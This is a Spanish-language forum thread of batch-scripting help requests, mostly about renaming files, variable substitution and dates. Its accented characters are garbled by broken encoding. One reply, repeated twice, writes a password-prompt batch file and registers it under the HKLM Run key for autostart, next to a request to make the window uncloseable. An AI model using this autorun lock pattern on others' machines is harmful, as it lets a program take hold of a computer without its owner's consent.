Soy nuevo en el foro y me disculpan si violo alguna regla, pero la verdad necesito con urgencia que me ayuden con ese cˇdigo; necesito borrar un archivo que contenga una cadena de texto especÝfica; ejemplo, borrar archivos .ini que contengan la palabra "MusicAlbum" en todo el disco duro, muchas gracias por su ayuda.

┐El archivo dˇnde se encuentra?
El usuario da el archivo a borrar o se tiene que buscar antes?

Da mßs datos si quieres que se te ayude.

┐por quÚ la urgencia?


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: almacenero en 7 Noviembre 2011, 11:38
MuchÝsimas gracias sirdarckcat. Un tuto cojonudo.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: pablgonz en 23 Noviembre 2011, 04:11
Hola a todos, soy nuevo en el foro (lo leÝa pero no estaba registrado) tengo una duda habitual en la red sobre FOR y rename, pero, esta es para una cadena de archivos especifica (la idea es hacerlo con la linea de comando y no con programas externos) va asÝ, estoy dentros del directorio temp, y en el hay un sub directorio imßgenes, en este directorio  tengo una serie de archivos de las siguiente forma
Código
  1. name-tmp-000001.ppm, name-tmp-000002.ppm, name-tmp-000003.ppm,...
donde name puede ser cualquier carßcter (alfanumÚrico,_,etc.) y -tmp- siempre esta presente, lo que deseo es re nombrarlos para que queden asÝ:
Código
  1. name-tmp-1.ppm, name-tmp-2.ppm, name-tmp-3.ppm,...
usando FOR y rename, ┐es posible?, con una perl1linea  se que puedo, pero, necesito saber como hacerlos (si es posible) desde la linea de comando, pera poder incluirlo dentro de un script.
De Antemano muchas gracias
Pablo


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 23 Noviembre 2011, 06:27
El orden importa?

Es decir,

name-tmp-000001.ppm, name-tmp-000002.ppm, name-tmp-000003.ppm,...

podrÝa quedar:

name-tmp-3.ppm, name-tmp-5.ppm, name-tmp-1.ppm,... ?

No importa que el nombre (name), no coincida con el n˙mero?


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: pablgonz en 23 Noviembre 2011, 11:06
Hola, gracias por la pronta respuesta, la verdad es que el orden importa:
Código
  1. name-tmp-000001.ppm, name-tmp-000002.ppm, name-tmp-000003.ppm,...
deberÝa  quedar:
Código
  1. name-tmp-1.ppm, name-tmp-2.ppm, name-tmp-3.ppm,...
algo como źtruncar los ceros╗ (si es que se le puede llamar asi), otro dato 000001.ppm es una cantidad fija de n˙meros, me explico, puedes ser eso o 000099.ppm o 000999.ppm, sucesivamente, es decir, es el contador del archivo pero completado con ceros hacia la izquierda.
Gracias por la respuesta, a ver si me pueden ayudar con este problema.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 24 Noviembre 2011, 01:18
Teniendo estos archivos:

Código:
C:\Users\leo\batch\temp>dir /b
a-tmp-000001.ppm
b-tmp-000009.ppm
c-tmp-000006.ppm
e-tmp-000010.ppm
final.cmd
h-tmp-000004.ppm
j-tmp-000003.ppm
n-tmp-000002.ppm
otro.cmd
u-tmp-000008.ppm
x-tmp-000005.ppm
y-tmp-000007.ppm
z-tmp-000011.ppm

C:\Users\leo\batch\temp>

Luego de correr el script:


Código:
C:\Users\leo\batch\temp>final.cmd

C:\Users\leo\batch\temp>
Me queda asÝ finalmente:

Código:
C:\Users\leo\batch\temp>dir /b
a-tmp-1.ppm
b-tmp-9.ppm
c-tmp-6.ppm
e-tmp-10.ppm
final.cmd
h-tmp-4.ppm
j-tmp-3.ppm
n-tmp-2.ppm
otro.cmd
u-tmp-8.ppm
x-tmp-5.ppm
y-tmp-7.ppm
z-tmp-11.ppm

C:\Users\leo\batch\temp>
El script es este:

Código
  1. @echo off
  2. setlocal enabledelayedexpansion
  3. for /f "tokens=1,2,3 delims=-" %%a in ('dir /b *.ppm') do (
  4. set "string=%%c"
  5. set "string=!string:.ppm=!
  6. for /f "tokens=* delims=0" %%A IN ("%string%") do set string=%%A
  7. ren "%%a-%%b-%%c" "%%a-%%b-!string!.ppm"
  8. )

Prueba si te funciona, saludos.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: pablgonz en 24 Noviembre 2011, 02:23
Hola de nuevo, gracias por responder, lamentablemente no me funciono, va asÝ
Código
  1. C:\testv3\testv3\temp\dir /b
  2. cambia.cmd
  3. test-tmp-000001.ppm
  4. test-tmp-000002.ppm
  5. test-tmp-000003.ppm
  6. test-tmp-000004.ppm
  7. test-tmp-000005.ppm
  8.  
luego de correr el script
Código
  1. @echo off
  2. setlocal enabledelayedexpansion
  3. for /f "tokens=1,2,3 delims=-" %%a in ('dir /b *.ppm') do (
  4. set "string=%%c"
  5. set "string=!string:.ppm=!
  6. for /f "tokens=* delims=0" %%A IN ("%string%") do set string=%%A
  7. ren "%%a-%%b-%%c" "%%a-%%b-!string!.ppm"
  8. )
resulta lo siguiente
Código
  1. cambia.cmd
  2. test-tmp-000001.ppm
  3. test-tmp-000002.ppm
  4. test-tmp-000003.ppm
  5. test-tmp-000004.ppm
  6. test-tmp-000005.ppm
Es decir, no efect˙a el cambio indicado, quizßs debÝ comentar que todos los ficheros tienen el mismo nombre, el cual deseo mantener, solo me interesa eliminar los ceros a la izquierda del contador, esperando su ayuda, se despide:
Pablo


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: leogtz en 25 Noviembre 2011, 17:51
Perdˇn por la tardanza.

Creo que ya funciona, el error era que en el for interno, estaba utilizando los caracteres %% para interpolar la variable, y tenÝa que ser !!.

Mira:

Código:
C:\Users\leo\batch\temp>dir /b
final.cmd
name-tmp-0000001.ppm
name-tmp-00000010.ppm
name-tmp-00000011.ppm
name-tmp-0000002.ppm
name-tmp-0000003.ppm
name-tmp-0000004.ppm
name-tmp-0000005.ppm
name-tmp-0000006.ppm
name-tmp-0000007.ppm
name-tmp-0000008.ppm
name-tmp-0000009.ppm
otro.cmd

C:\Users\leo\batch\temp>type final.cmd
@echo off
setlocal enabledelayedexpansion
for /f "tokens=1,2,3 delims=-" %%a in ('dir /b *.ppm') do (
        set "string=%%c"
        set "string=!string:.ppm=!
        for /f "tokens=* delims=0" %%A IN ("!string!") do set string=%%A
        ren "%%a-%%b-%%c" "%%a-%%b-!string!.ppm"
)
C:\Users\leo\batch\temp>final.cmd

C:\Users\leo\batch\temp>dir /b
final.cmd
name-tmp-1.ppm
name-tmp-10.ppm
name-tmp-11.ppm
name-tmp-2.ppm
name-tmp-3.ppm
name-tmp-4.ppm
name-tmp-5.ppm
name-tmp-6.ppm
name-tmp-7.ppm
name-tmp-8.ppm
name-tmp-9.ppm
otro.cmd

C:\Users\leo\batch\temp>


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: pablgonz en 25 Noviembre 2011, 22:02
Gracias por la respuesta, ahora funciona al 100%.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: NekoOs en 21 Febrero 2012, 04:56
TxShack


bueno al parecer tienes unos peque˝os errorcillos

  • falta un echo en la sexta linea
  • Debes agregar otro %% para que se imprima %clave%

Código:
@echo off
Rem yo lo probe en mi pc desde el escritorio eliminando esta linea
cd c:\
echo @echo off > pass.bat
echo :menu >> pass.bat
echo echo. >> pass.bat
echo echo INTRODUCIR CLAVE >> pass.bat
echo echo. >> pass.bat
echo set/p clave= >> pass.bat
echo if %%clave%%==fark (goto bien) else goto :menu >> pass.bat
echo :bien >> pass.bat
echo cls >> pass.bat
echo echo. >> pass.bat
echo echo ACCESO VALIDADO >> pass.bat
echo echo. >> pass.bat
echo pause >> pass.bat
echo exit >> pass.bat
Rem esta linea tampoco la use el objetibo de la prueba era que pass.bat se ejecutara y lo logro exitosamente
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v pass.bat /t reg_sz /d C:\ /f
Rem yo use la linea start %cd%\pass.bat por practicidad al momento de realizar pruebas
start c:\pass.bat
exit[/code
Espero te sea de utilidad  ;)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: NekoOs en 21 Febrero 2012, 04:59
Bueno, queria saber si me podriais ayudar con este batch

Lo que quiero es que se a˝ada al registro run pero no consigo hacerlo... algo debo de acer malalgo.. pero no se que... ace muchisimo que no uso los batch, porq se me daban bien.. pero se me an olvidado cosas poco a poco y aora no me sale esto

El codigo que qiero q salga es este:

Lo e estado intentando varias veces pero no lo consigo... e provado esto.. poro no funciona

Estare haciendo algo mal.. pero no se que... la cuestion es q no funciona..

Provadlo y vereis, y si me podeis ayudar os lo agradeceria ^^

bueno, y una ultima cosa... q tendria q a˝adirle para que quien lo ejecute no pueda dar a la X.. osea, q si intenta cerrar no pueda. Gracias

Un saludo

TxShack


TxShack


bueno al parecer tienes unos peque˝os errorcillos

  • falta un echo en la sexta linea
  • Debes agregar otro %% para que se imprima %clave%

Código:
@echo off
Rem yo lo probe en mi pc desde el escritorio eliminando esta linea
cd c:\
echo @echo off > pass.bat
echo :menu >> pass.bat
echo echo. >> pass.bat
echo echo INTRODUCIR CLAVE >> pass.bat
echo echo. >> pass.bat
echo set/p clave= >> pass.bat
echo if %%clave%%==fark (goto bien) else goto :menu >> pass.bat
echo :bien >> pass.bat
echo cls >> pass.bat
echo echo. >> pass.bat
echo echo ACCESO VALIDADO >> pass.bat
echo echo. >> pass.bat
echo pause >> pass.bat
echo exit >> pass.bat
Rem esta linea tampoco la use el objetibo de la prueba era que pass.bat se ejecutara y lo logro exitosamente
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v pass.bat /t reg_sz /d C:\ /f
Rem yo use la linea start %cd%\pass.bat por practicidad al momento de realizar pruebas
start c:\pass.bat
exit[/code
Espero te sea de utilidad  ;)


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: polmadur en 25 Abril 2012, 12:20
hola buenas, verÚis, soy bastante novatillo en batch aunque tengo conocimientos aceptables en python asÝ que domino la programaciˇn un poco(aunque mi estilo sea pÚsimo, lo reconozco).

Esta es mi duda, tengo un archivo en excel donde hay muchos nombres en diferentes pßginas, cada pßgina es un servicio de la asociaciˇn. La pregunta es si para recorrer ese archivo en busca de alg˙n nombre en concreto se necesita algo especial, me refiero a como es un formato de texto diferente, CSV no lo se.

Si no hace falta nada especial ya me pongo yo a crear el script de busqueda.

gracias


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Eleкtro en 25 Abril 2012, 20:55
La pregunta es si para recorrer ese archivo en busca de alg˙n nombre en concreto se necesita algo especial, me refiero a como es un formato de texto diferente, CSV no lo se.

Si no hace falta nada especial ya me pongo yo a crear el script de busqueda.

No es necesario nada especial, Puedes usar el comando "FIND" y "FINDSTR" con todo archivo que contenga texto.

Código
  1. Find "PALABRA" "ARCHIVO.CSV"
  2. Findstr "PALABRA" "ARCHIVO.CSV"
  3.  

Saludos!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Bulone en 4 Junio 2012, 22:26
Hola, soy nuevo en este foro, querÝa saber si me podrÝais ayudar con el siguiente problema:

Estoy creando un programa en bat, el cual coge los valores de un .txt  y necesito entre otras cosas que me cambie los valores que contengan un "=" (sin comillas)  por el valor que queda detrßs del caracter "="  (normalmente el caracter "=" no estarß situado mas allß del 5 caracter)
(no se si me explico bien)

Ej:
set var1=987u=543  

(quiero que el resultado de var1 sea 543)


Ya he probado cosas del estilo:
set var2=%var1:==x%           (que me cambiase el igual por una x para trabajar mejor)

Código
  1. if "%var:~1,1%"=="=" set var=%var:~2%
  2. if "%var:~2,1%"=="=" set var=%var:~3%
  3. if "%var:~3,1%"=="=" set var=%var:~4%
  4. if "%var:~4,1%"=="=" set var=%var:~5%
  5. if "%var:~5,1%"=="=" set var=%var:~6%
  6. if "%var:~6,1%"=="=" set var=%var:~7%
  7. if "%var:~7,1%"=="=" set var=%var:~8%
  8. if "%var:~8,1%"=="=" set var=%var:~9%

(da error ya que reconoce el "=" como lectura del if)

(y otras tantas cosillas mas he probado tambiÚn...) en definitiva si alguien me pudiese ayudar se lo agradecerÝa, pues ya llevo varios dÝas detrßs de este problemilla. Si necesitais mas informaciˇn sobre el problema, me decÝs.
Gracias de antemano.



NI caso al mensaje anterior, leyendo por ahÝ, encontrÚ una soluciˇn al problema.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Aldorf en 19 Julio 2012, 06:41
Saludos a tod@s,
antes que nada, muy bueno el tuto, muchas gracias por compartir.

Ahora el mangazo:  :silbar:
Tengo un problema al reemplazar parte del contenido de una variable, el problema surge por que lo que quiero poner contiene un "%".
Basicamente es reemplazar el "@" de un correo por un "%40".

Tengo esto:
Código:
set correo=yo@gmail.com
set correo=%correo:@=%40%

Por supuesto que esto no funciono, ya que al encontrar el "%" despues del "=" asume que termino el reemplazo y simplemente me elimina el "@" agregandole al final el "40"

Intente con:
Código:
set correo=yo@gmail.com
set correo=%correo:@=%40%
...
set correo=%correo:@=%%40%
...
set correo=%correo:@=%%%40%

Sin poder lograrlo, tambien intente usando una variable auxiliar con el valor "%40" pero siempre lo mismo.

La solucion que me queda me parece muy trucha, es ir preguntando caracter por caracter si es el "@" y una vez encontrado crear una nueva variable concatenando lo anterior al "@" con el "%40" y lo posterior al "@"...
Pero la verdad me parece una solucion muy trucha, por eso pregunto a quien sabe para aprender mas y hacer las cosas mejor.

Ya me parece mas que trucho lo que hice para a una variable asignarle el contenido de otra variable cuyo nombre era el contenido de otra variable... (parece un trabalenguas, verdad?).

Código:
@echo on & setlocal enableextensions disabledelayedexpansion
call:CargaVariables
cls
set Respuesta=
echo 0 - Salir
echo 1 - %Jugador1%
echo 2 - %Jugador2%
echo 3 - %Jugador3%
...
set /p Respuesta=Selieccione su opcion:
set JugadorElejido=set JugadorElejido^=%%Jugador%Respuesta%%%
%JugadorElejido%
call:ProcesoPrincipal %JugadorElejido%
if (%errorlevel%)==(1) goto:eof
%0
goto:eof


:CargaVariables
set Jugador1=Jose
set Jugador2=Miguel
set Jugador3=Marcela
...
goto:eof


:ProcesoPrincipal
if (%1)==() echo. & echo Saliendo... & echo. & pause & set errorlevel=1 & goto:eof
rem aca esta todo lo que hace en si el programa...
...
goto:eof

Desde ya, muchas gracias por la ayuda.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Binary_Death en 19 Julio 2012, 06:46
Esto te deberÝa funcionar:

Código:
@Echo Off
setlocal enabledelayedexpansion
set "correo=!correo:@=%%40!"
echo: %correo%
pause 1>nul
exit


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Aldorf en 23 Julio 2012, 15:22
Hola Binary_Death,
Muchas pero muchas gracias!, funciona perfecto  ;-)
Veo que mi problema principal por el cual jamas me hubiera funcionado esta en la primer linea  :-[

Citar
@echo on & setlocal enableextensions disabledelayedexpansion

Vos me ense˝aste que el correcto para este caso es:
Citar
@echo on & setlocal enableextensions enabledelayedexpansion

Una vez mas, muchas gracias!
Saludos cordiales.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Binary_Death en 23 Julio 2012, 17:09
No hay de quÚ ;)

Puedes leerte esto para que te aclare dudas sobre setlocal: http://ss64.com/nt/delayedexpansion.html

íUn saludo!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Aldorf en 23 Julio 2012, 18:14
Muy bueno el link, ahora tengo mas data para seguir probando, gracias!
 ;D


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: BatchianoISpyxolo en 23 Julio 2012, 23:58
Muy bueno el link, ahora tengo mas data para seguir probando, gracias!
 ;D

TambiÚn estarÝa bien que buscaras alg˙n tutorial sobre Nesting.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: AgnesBlack en 24 Julio 2012, 22:46
TambiÚn estarÝa bien que buscaras alg˙n tutorial sobre Nesting.

en bath tambien se puede hacer recursividad  :o wuau genial


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: TheAguaplas en 6 Septiembre 2012, 16:22
Lo siento por molestar :silbar: es una cosa simple  no "Programaciˇn BATCH Avanzada"
Este cˇdigo no me va:   :huh:

move "123\*" "456\*"

Estaba haciendo un .bat y solo por eso no me funcionaba


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Eleкtro en 6 Septiembre 2012, 16:37
Este cˇdigo no me va:   :huh:
move "123\*" "456\*"

El uso del comodÝn * indica que el comando afecta a todos los archivos dentro de la carpeta " 123 ", Entonces se mueven todos, Pero no puedes moverlos a la carpeta " 4566\*todos* ", no se si me entiendes, ahÝ sobra el comodÝn.

DÚjalo asÝ:
Código
  1. move "123\*" "456\"

Saludos.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: elpeluca en 13 Septiembre 2012, 00:33
Muy buenas.
He estado viendo el tutorial y esta muy bien, pero no entiendo los argumentos.
El %0 sÝ me sale pero el resto no lo entiendo  :-[.
┐Me podrian dar una peque˝a ayudita? :huh:


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Eleкtro en 13 Septiembre 2012, 01:25
┐Me podrian dar una peque˝a ayudita? :huh:

Código
  1. @Echo OFF
  2.  
  3. Call :elhacker pim pam toma lacasitos!!                  yea!
  4.  
  5. :elhacker
  6. Echo La Etiqueta: %0 | MORE
  7. Echo Argumentos : %* | MORE
  8. Echo Argumento 1: %1
  9. Echo Argumento 2: %2
  10. Echo Argumento 3: %3
  11. Echo Argumento 4: %4
  12. Echo Argumento 5: %5
  13. Goto:EOF

(http://img16.imageshack.us/img16/6416/prtscrcapturee.jpg)

Espero que te sirva un poco
saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: elpeluca en 14 Septiembre 2012, 01:19
Espero que te sirva un poco
saludos
Pues la verdad que me sirviˇ bastante muchas gracias ;D.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Whyneel en 7 Septiembre 2013, 00:48
ola. buenas un favor hey tratado de hacer un extension .BAT se trata sobre el inicio de mi pc, exactamente lahora en que se prende, se apaga, horas de encendido. y todo ello mostrandome en un registro detallado pero no lo eh logrado si ya alguien tiene el codigo o lo puede editar.. se lo agradeceria  mucho es que me urge y soy novato en eso . antemano gracias.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: tomasscfgcu en 16 Octubre 2013, 14:50
Amigos del fˇrum me hace falta hacer un scrip que me identifique el sistema operativo que estß corriendo y que a partir de ese resultado me ejecute otra parte del scrip comparandolo con el resultado obtenido anteriormente.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Eleкtro en 16 Octubre 2013, 15:14
@tomasscfgcu

Pides algo que se puede encontrar en 5 segundos en Google, de todas formas, ┐Donde estß tu code?.

Saludos!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: josecmore en 10 Abril 2014, 20:29
Hola! No se si la pregunta serß la adecuada, asÝ que perdonarme si no procede.
 He empezado a utilizar los archivos bat y la verdad que tienen mucho juego y yo de momento me pierdo.
 Se me ha ocurrido hacer un bat que cambie diariamente un programa excel el nombre (renombrar). Siempre el mismo programa (cuenta.lnk) pero quiero que lo renombre con la fecha del dia (date). ┐Se puede hacer?. Gracias y espero no haberme alargado.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Eleкtro en 10 Abril 2014, 20:52
Hola! No se si la pregunta serß la adecuada, asÝ que perdonarme si no procede.
 He empezado a utilizar los archivos bat y la verdad que tienen mucho juego y yo de momento me pierdo.
 Se me ha ocurrido hacer un bat que cambie diariamente un programa excel el nombre (renombrar). Siempre el mismo programa (cuenta.lnk) pero quiero que lo renombre con la fecha del dia (date). ┐Se puede hacer?. Gracias y espero no haberme alargado.

Eso no es un programa, es un archivo  :ČČ

NecesitarÝa saber unos datos para poder darte una soluciˇn que se adapte a tus necesidades.

┐El archivo que quieres renombrar es el acceso directo "cuenta.lnk", o el archivo destino (cuenta.xls)?
┐Solo hay 1 archivo xls/lnk en ese directorio?
┐Cual serÝa el formato del a˝o? (Ej: DD-MM-YYYY)
┐La fecha se debe a˝adir al nombre base, o debe reemplazar el nombre completo? es decir, ┐debe quedar como "DD-MM-YYY.xls", o "Cuenta DD-MM-YYYY.xls" ?

Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: josecmore en 11 Abril 2014, 11:45
Eso no es un programa, es un archivo  :ČČ

NecesitarÝa saber unos datos para poder darte una soluciˇn que se adapte a tus necesidades.

┐El archivo que quieres renombrar es el acceso directo "cuenta.lnk", o el archivo destino (cuenta.xls)?
┐Solo hay 1 archivo xls/lnk en ese directorio?
┐Cual serÝa el formato del a˝o? (Ej: DD-MM-YYYY)
┐La fecha se debe a˝adir al nombre base, o debe reemplazar el nombre completo? es decir, ┐debe quedar como "DD-MM-YYY.xls", o "Cuenta DD-MM-YYYY.xls" ?

Saludos
Eso no es un programa, es un archivo  :ČČ

NecesitarÝa saber unos datos para poder darte una soluciˇn que se adapte a tus necesidades.

┐El archivo que quieres renombrar es el acceso directo "cuenta.lnk", o el archivo destino (cuenta.xls)?
┐Solo hay 1 archivo xls/lnk en ese directorio?
┐Cual serÝa el formato del a˝o? (Ej: DD-MM-YYYY)
┐La fecha se debe a˝adir al nombre base, o debe reemplazar el nombre completo? es decir, ┐debe quedar como "DD-MM-YYY.xls", o "Cuenta DD-MM-YYYY.xls" ?

Saludos
Hola Elektro! Lo primero gracias por contestar tan pronto.
1║ El archivo que quiero renombrar es el archivo destino.
 En el directorio solo estaria ese archivo (cuenta.xls)
3║ El nombre  podrÝa valer este "DD-MM-YYY." "Viernes.xls
4║ El archivo renombrado entrarÝa en otra carpeta por ejem.( ABRIL 2014.....JUNIO2014......asÝ todo el a˝o.
Como lo ves?. A mi esto me supera.
Yo hice algo como esto pero no funciona, me dice que no encuentra el archivo o tambiÚn error de sintaxis:


Código
  1. @echo off
  2. :GetTime
  3. for %%x in (aa mm dd) do set %%x=
  4. for /F "tokens=1-3 delims=:-" %%A in ('echo %date%') do (
  5. set aa=%%A
  6. set mm=%%B
  7. set dd=%%C
  8. )
  9.  
  10. set hoy=%aa%%mm%%dd%
  11.  
  12. set Wfile=Cuenta.txt
  13.  
  14. @echo on
  15. rename %Wfile% %hoy%.txt
  16. :End

Y faltan algunos detalles como el nombre del dia, y las carpetas destino.
gracias y un Saludo.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: josecmore en 11 Abril 2014, 17:12
Hola de nuevo. Es evidente que para el ejemplo que he puesto he creado un archivo con extensiˇn (txt) con el bloc de notas.
Gracias de nuevo.
Saludos.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Eleкtro en 11 Abril 2014, 17:40
Hola de nuevo. Es evidente que para el ejemplo que he puesto he creado un archivo con extensiˇn (txt) con el bloc de notas.
Gracias de nuevo.
Saludos.

┐Entonces el nombre del archivo excel siempre va a ser estßtico?, pensÚ que el archivo que quieres modificar siempre tendrÝa la fecha del dia anterior y eso lo complicaba un poco mßs y mßs si habian mßs archivos en el mismo directorio (nada que no se puede solucionar con el patrˇn de busqueda adecuado), pero entonces simplemente esto te servirß:

Código
  1. @Echo OFF & Title Renombrar archivo Excel con fecha actual y nombre del dia
  2.  
  3. Set "File=%CD%\Cuenta.xls"
  4. Call :DateRename "%File%"
  5.  
  6. Pause&Exit /B 0
  7.  
  8. :DateRename
  9. Set "Today=%Date:~0,2%-%Date:~3,2%-%Date:~6,4%"
  10.  
  11. (
  12. Call Echo WScript.Echo WeekDayName^(Weekday^("%%Today%%"^)^)
  13. )>"%TEMP%\GetDayName.vbs"
  14.  
  15. For /F "Tokens=*" %%# In (
  16. 'CScript.exe /NoLogo "%TEMP%\GetDayName.vbs"'
  17. ) Do (
  18. Set "DayName=%%#"
  19. Del /Q "%TEMP%\GetDayName.vbs" 1>NUL
  20. )
  21.  
  22. REM "Nombre.ext" > "DD-MM-YYYY NombreDelDÝa.ext"
  23. (Rename "%~1" "%Today% %DayName%%~x1") & (Goto :EOF)

Saludos


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: josecmore en 11 Abril 2014, 18:11
Gracias elektro, ahora lo intentarÚ poner en prßctica.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: fatfredycat en 30 Abril 2014, 22:42
Hola...me estoy iniciando en batch y me a surgido una duda...es posible imprimir llamando al notepad, entonces , quisiera a˝adir el condicional if para saber si se ha imprimido o no y avisar por pantalla...es posible?Gracias de antemano!!


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: willdoxero en 15 Mayo 2014, 01:53
Hola a todos, aquÝ una duda:

Estoy usando EDLIN para modificar una lÝnea en un archivo .bat
pero al abrir el nuevo archivo me deja un espacio en blanco al final de la lÝnea que se editˇ.
Cˇmo puedo evitar el espacio en blanco al final de la lÝnea?
Código
  1.  
  2. echo Indicar nombre de ruta.
  3. echo.
  4. set /p "cabecera=Destino: "
  5. ::suponiendo ruta= 127.0.0.1
  6. echo.
  7. (
  8. echo 13
  9. echo set ruta=%cabecera%
  10. echo e
  11. ) | edlin /b c:\scripts\archivo.bat
  12.  
  13.  

Al abrir archivo queda un espacio en blanco (al final del .1), ejemplo:

set ruta=127.0.0.1

El problema es que la variable la asocio con otra y al querer entrar a la ruta completa no la identifica por el espacio en blanco.
ejemplo: \\127.0.0.1 (espacio)\mi_carpeta

alguna sugerencia?
Gracias!!
TambiÚn lo escribÝ en "acciones sobre archivos de texto" para recibir la mayor ayuda.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: AgArCx en 15 Julio 2014, 09:44
íQuÚ tal hermanos! Requiero ayuda para algo quizßs bastante sencillo pero en lo que me encuentro bloqueado.Necesito que la impresiˇn en pantalla del siguiente cˇdigo no muestre el nombre del archivo de origen.

@echo off
color 0e
title ░░░░░░░░░░░Analisis de Fallas░░░░░░░░░------------Alcatel Lavas--------------
set local
mode con cols=125 lines=22
CD "C:\Users\%username%\Documents\test"

echo.


set /p serial=Ingrese el Numero Serial de la Unidad:

set ns=*%serial%log.txt
cls

findstr /i /g:Search.txt "%ns%"
pause>nul

-------------------------------------------------------------------------------
Sucede que en consola aparece algo asÝ:

BI_TEST_Slot5NS142367812log.txt:tap serial links failed
BI_TEST_Slot5NS142367812log.txt:Qchip(bad frame)0
BI_TEST_Slot5NS142367812log.txt:NChip 3E
BI_TEST_Slot5NS142367812log.txt:***nmi_over voltage

sˇlo necesito entonces que aparezca:

tap serial links failed
Qchip(bad frame)0
NChip 3E
***nmi_over voltage

_____________________________________________________________

Gracias por su atenciˇn  :D



Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: fabian80 en 8 Junio 2015, 10:44
Buenas amigo veo que eres un duro, tengo una pregunta que para usted debe ser facil pero a mi me parte la cabeza tengo que hacer un goto que si es viernes muestre si y si no es viernes muestre no y ya te recomiendo la ayuda.


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: Darioxhcx en 5 Diciembre 2015, 15:58
Buenas amigo veo que eres un duro, tengo una pregunta que para usted debe ser facil pero a mi me parte la cabeza tengo que hacer un goto que si es viernes muestre si y si no es viernes muestre no y ya te recomiendo la ayuda.

buscando encontre esto, pero solo funciona para w7 al parecer

http://www.lawebdelprogramador.com/foros/Ms-Dos/1506365-Batch-dia-de-la-semana.html

Código:
REM DIA DE LA SEMANA
@echo off
pause
 
FOR /F "tokens=2,4,6" %%A IN ('robocopy ^| find /i "Inicio"') DO (call :dia %%A %%B %%C)
:dia
if /i %1==Mon ( set dia=Lunes )
if /i %1==Tue ( set dia=Martes )
if /i %1==Wed ( set dia=Miercoles )
if /i %1==Thu ( set dia=Jueves )
if /i %1==Fri ( set dia=Viernes )
if /i %1==Sat ( set dia=Sabado )
if /i %1==Sun ( set dia=Domingo )
 
echo Dia: %dia%
PAUSE


Título: Re: -> Programaciˇn BATCH Avanzada. (nuevo)
Publicado por: joorse en 11 Diciembre 2015, 17:46
Muy buenas, espero puedan ayudarme, necesito un programa por lotes que verifique si la fecha actual coincide con alguna fecha ingresada en unas variables y si es asi, muestre un mensaje de felicitacion